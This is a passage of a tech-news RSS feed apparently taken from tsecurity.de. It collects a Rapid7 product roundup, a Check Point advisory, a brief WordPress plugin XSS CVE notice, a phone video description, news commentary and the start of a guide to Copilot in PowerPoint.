endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Advisory – Action Required – July 2026 Security Update]]></title>
<description><![CDATA[As part of Check Point’s Frontier AI Readiness Program, we are releasing a jumbo hotfix with security and hardening fixes for our firewall and management products. This update includes a number of security hardening improvements and fixes, the most significant of which are outlined below. During ...]]></description>
<link>https://tsecurity.de/de/3686605/it-security-nachrichten/security-advisory-action-required-july-2026-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686605/it-security-nachrichten/security-advisory-action-required-july-2026-security-update/</guid>
<pubDate>Wed, 22 Jul 2026 16:09:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="800" src="https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="Security Advisory" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px.jpg 1600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-300x150.jpg 300w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-1024x512.jpg 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-768x384.jpg 768w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-1536x768.jpg 1536w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-400x200.jpg 400w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-600x300.jpg 600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-800x400.jpg 800w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-1200x600.jpg 1200w, https://blog.checkpoint.com/wp-content/uploads/2026/07/sa-july-2026-800x400px-1320x660.jpg 1320w" sizes="(max-width: 1600px) 100vw, 1600px"><p>As part of Check Point’s Frontier AI Readiness Program, we are releasing a jumbo hotfix with security and hardening fixes for our firewall and management products. This update includes a number of security hardening improvements and fixes, the most significant of which are outlined below. During a routine BLAST review, we discovered a few vulnerabilities. Following a thorough analysis, we identified one of those in the wild, affecting a handful of customers. This only affects a very specific configuration — when Management is exposed directly to the internet without IP restrictions. We’ve already notified the affected customers. This is exactly […]</p>
<p>The post <a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/">Security Advisory – Action Required – July 2026 Security Update</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[My Favorite NEW Folding Phone - Samsung Galaxy Z Fold8 Ultra vs Fold8 vs Flip8]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 4x - Views:33 Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F

Fold8 - 
https...]]></description>
<link>https://tsecurity.de/de/3686540/videos/my-favorite-new-folding-phone-samsung-galaxy-z-fold8-ultra-vs-fold8-vs-flip8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686540/videos/my-favorite-new-folding-phone-samsung-galaxy-z-fold8-ultra-vs-fold8-vs-flip8/</guid>
<pubDate>Wed, 22 Jul 2026 15:36:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 4x - Views:33 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RoVLY0s5Chc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F<br />
<br />
Fold8 - <br />
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8%2Fbuy%2Fgalaxy-z-fold8-256gb-unlocked-sku-sm-f971ulvaxaa%2F<br />
<br />
Flip8 - <br />
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-flip8%2Fbuy%2Fgalaxy-z-flip8-256gb-unlocked-sku-sm-f776uliaxaa%2F<br />
<br />
unlocked devices at Best Buy - https://bestbuycreators.7tiv.net/6kX2Lb<br />
<br />
https://youtu.be/RoVLY0s5Chc<br />
<br />
<br />
<br />
Samsung just announced three brand new foldable smartphones at Galaxy Unpacked 2026, and I got hands-on with all of them in New York City!<br />
<br />
In this video we're breaking down the new Galaxy Z Fold8 Ultra, Galaxy Z Fold8, and Galaxy Z Flip8, including pricing, displays, cameras, battery life, durability, Galaxy AI features, and the security features I always check first - like SIM support, Ultra Wideband, fingerprint readers, face unlock, Wi-Fi 7, and more.<br />
<br />
Is the new Galaxy Z Fold8 Ultra worth over $2,000? Is the regular Fold8 the better value? And is the Flip8 Samsung's best flip phone yet?<br />
<br />
I'll also be publishing full reviews after spending more time with each device, so make sure you're subscribed so you don't miss those!<br />
<br />
💬 If you could have one of these phones for FREE, which would you choose?<br />
<br />
#Samsung #GalaxyUnpacked #GalaxyZFold8Ultra #GalaxyZFold8 #GalaxyZFlip8 #FoldablePhone #Android #Tech @Samsung  <br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
 Samsung Galaxy Unpacked 2026<br />
00:48 Three New Galaxy Foldables<br />
02:00 Galaxy Z Fold8 Ultra<br />
06:15 Fold8 Ultra Cameras & Security Features<br />
08:00 Patreon Shoutout<br />
09:00 Galaxy Z Fold8<br />
12:35 Galaxy Z Flip8<br />
14:30 Shared Specs Across All Models<br />
16:00 Colors & Storage Options<br />
17:10 Biggest Takeaways<br />
19:00 What I'm Testing Next<br />
20:00 Which One Would You Choose?<br />
<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUPPORT MY WORK <br />
PATREON 💛 https://www.patreon.com/ShannonMorse<br />
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs<br />
MY SHOP 💛 https://shannonrmorse.com/shop<br />
SPRING SHOP 💛 https://morsecode.creator-spring.com/<br />
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
FOLLOW THE SOCIALS THINGS<br />
THREADS 🌸  https://www.threads.net/@snubs<br />
INSTAGRAM 🌸  http://www.instagram.com/snubs<br />
TIKTOK 🌸  https://tiktok.com/@snubsie<br />
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
WEBSITE 🌸 https://www.morsecodecreative.com/<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
TECH I USE AND RECOMMEND<br />
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse<br />
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse<br />
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
MY OTHER SHOWS<br />
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured <br />
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com<br />
My Media Kit ✈ https://shannonrmorse.com/work-with-me <br />
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Social-Media-Verbot bis 15 Jahre: Frankreich wählt den falschen Weg]]></title>
<description><![CDATA[Schafft mit dem Verbot ein politisches Erbe: Präsident Emmanuel Macron.    –   Alle Rechte vorbehalten: IMAGO/Political-Moments; Bearbeitung: netzpolitik.orgDas französische Parlament hat sich auf ein Social-Media-Verbot für unter 15-Jährige geeinigt. Das wird die digitale Welt für junge Menschen...]]></description>
<link>https://tsecurity.de/de/3686213/it-nachrichten/social-media-verbot-bis-15-jahre-frankreich-waehlt-den-falschen-weg/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686213/it-nachrichten/social-media-verbot-bis-15-jahre-frankreich-waehlt-den-falschen-weg/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="1920" height="1080" src="https://cdn.netzpolitik.org/wp-upload/2026/07/macron-political-moments.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Porträt von Emmanuel Macron" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/macron-political-moments.jpg 1920w, https://cdn.netzpolitik.org/wp-upload/2026/07/macron-political-moments-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/macron-political-moments-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/macron-political-moments-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/macron-political-moments-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px"><figcaption class="wp-caption-text">Schafft mit dem Verbot ein politisches Erbe: Präsident Emmanuel Macron.  <span class="media-license-caption">  –   Alle Rechte vorbehalten: IMAGO/Political-Moments; Bearbeitung: netzpolitik.org</span></figcaption></figure>Das französische Parlament hat sich auf ein Social-Media-Verbot für unter 15-Jährige geeinigt. Das wird die digitale Welt für junge Menschen nicht sicherer machen und gefährdet alle. Denn es bereitet den Weg für ein Internet, dass nur noch mit Ausweiskontrolle zugänglich ist. Ein Kommentar.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Swiss Buyers Can Snag Deals From Overseas Sellers]]></title>
<description><![CDATA[In this post, I will show you how Swiss Buyers can snag deals from overseas sellers. Swiss shoppers love quality products at reasonable prices. With ecommerce, international merchants often beat local Swiss retailers on costs. With this opportunity, potential Swiss shoppers sometimes hesitate to ...]]></description>
<link>https://tsecurity.de/de/3686211/it-security-nachrichten/how-swiss-buyers-can-snag-deals-from-overseas-sellers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686211/it-security-nachrichten/how-swiss-buyers-can-snag-deals-from-overseas-sellers/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will show you how Swiss Buyers can snag deals from overseas sellers. Swiss shoppers love quality products at reasonable prices. With ecommerce, international merchants often beat local Swiss retailers on costs. With this opportunity, potential Swiss shoppers sometimes hesitate to purchase due to concerns related to delivery and customs.  Knowing the […]</p>
<p>The post <a href="https://secureblitz.com/how-swiss-buyers-can-snag-deals-from-overseas-sellers/">How Swiss Buyers Can Snag Deals From Overseas Sellers</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[11 Smart Devices I’m Still Using at Home Even After My Testing Is Done]]></title>
<description><![CDATA[Some products stick with me, even after my reviews. Here’s what I’m currently using, and why.]]></description>
<link>https://tsecurity.de/de/3686186/it-nachrichten/11-smart-devices-im-still-using-at-home-even-after-my-testing-is-done/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686186/it-nachrichten/11-smart-devices-im-still-using-at-home-even-after-my-testing-is-done/</guid>
<pubDate>Wed, 22 Jul 2026 13:52:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some products stick with me, even after my reviews. Here’s what I’m currently using, and why.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12968 | Product Addons and Product Options With Custom Fields Plugin Svg File Upload cross site scripting (EUVD-2026-47612)]]></title>
<description><![CDATA[A vulnerability has been found in Product Addons and Product Options With Custom Fields Plugin up to 1.6.14 on WordPress and classified as problematic. This impacts an unknown function of the component Svg File Upload. The manipulation leads to cross site scripting.

This vulnerability is traded ...]]></description>
<link>https://tsecurity.de/de/3686158/sicherheitsluecken/cve-2026-12968-product-addons-and-product-options-with-custom-fields-plugin-svg-file-upload-cross-site-scripting-euvd-2026-47612/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686158/sicherheitsluecken/cve-2026-12968-product-addons-and-product-options-with-custom-fields-plugin-svg-file-upload-cross-site-scripting-euvd-2026-47612/</guid>
<pubDate>Wed, 22 Jul 2026 13:41:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/product_addons_and_product_options_with_custom_fields_plugin">Product Addons and Product Options With Custom Fields Plugin up to 1.6.14</a> on WordPress and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This impacts an unknown function of the component <em>Svg File Upload</em>. The manipulation leads to cross site scripting.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-12968">CVE-2026-12968</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



